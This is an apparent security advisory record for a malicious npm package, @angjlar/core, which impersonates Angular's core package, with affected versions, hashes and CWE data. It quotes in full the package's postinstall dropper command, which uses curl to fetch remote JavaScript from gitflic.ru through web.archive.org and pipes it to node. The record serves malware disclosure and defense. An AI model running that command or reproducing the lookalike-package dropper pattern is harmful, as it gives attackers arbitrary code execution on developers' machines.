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Malicious code in @angjlar/core (npm)

Type: advisorySource: OSV1 source record

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1dc3c51d631036eabc2b2933bcf3b7f2c08fe45d193136641e484456ba55a6d9) Package @angjlar/core impersonates @angular/core: its package.json copies the real Angular project's description ('Angular - the core framework'), author ('angular'), and repository URL (github.com/angular/angular.git), while publishing under the lookalike scope @angjlar. The postinstall lifecycle script in package.json runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js |... node`, fetching unpinned, mutable JavaScript from a non-publisher host (gitflic.ru, proxied through web.archive.org) and piping it to the node interpreter. On `npm install`, this gives the operator of that remote script arbitrary code execution on the installer's machine. The package has no legitimate relationship to Angular; the impersonating metadata exists solely to lure developers who mistype @angular/core into installing the dropper.

Announced Source revision 1
Original source ↗

MAL-2026-17534

Primary source · Revision 1

Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.

Security context

Source reference: osv:MAL-2026-17534

@angjlar/core

Source reference: /affected/0/package/name

Affected versions
22.2.1

Source reference: /affected/0/versions

Fixed versions
Not stated in this record
Prerequisites
Not stated in this record

Structured affected-version data

Original package identities and version rules from this source.

[
  {
    "package": {
      "name": "@angjlar/core",
      "purl": "pkg:npm/%40angjlar/core",
      "ecosystem": "npm"
    },
    "versions": [
      "22.2.1"
    ],
    "database_specific": {
      "cwes": [
        {
          "name": "Embedded Malicious Code",
          "cweId": "CWE-506",
          "description": "The product contains code that appears to be malicious in nature."
        }
      ],
      "source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@angjlar/core/MAL-2026-17534.json",
      "indicators": {
        "evidence_files": [
          {
            "path": "package.json",
            "tlsh": "fb513724e4f48d6323de6254dd2a4943b138495b5c38bd68b3dd009c8f0e61f61beb9a",
            "sha256": "98a12002ca46ee184f3c7487fda81ca6b85ebbdb328061ea3161f9facd930860"
          }
        ],
        "package_integrity": [
          {
            "hashes": {
              "sha1": "e57af0c64e2048efdb9a0836b589e9e1101b1e3d",
              "sha512_sri": "sha512-6PSSogtUkcFampRIGQrSIa/PfA/XNig6/KN6EbUgH30Jqyw+vkHUsbVxHP7SD9hVKAtTWwy7FfQ0RsLMHSxZug=="
            },
            "filename": "core-22.2.1.tgz"
          }
        ]
      }
    }
  }
]

Publisher severity

No explicit severity was provided.

Event
#83599 · Revision 1
Added to Heist Feed
Publisher date
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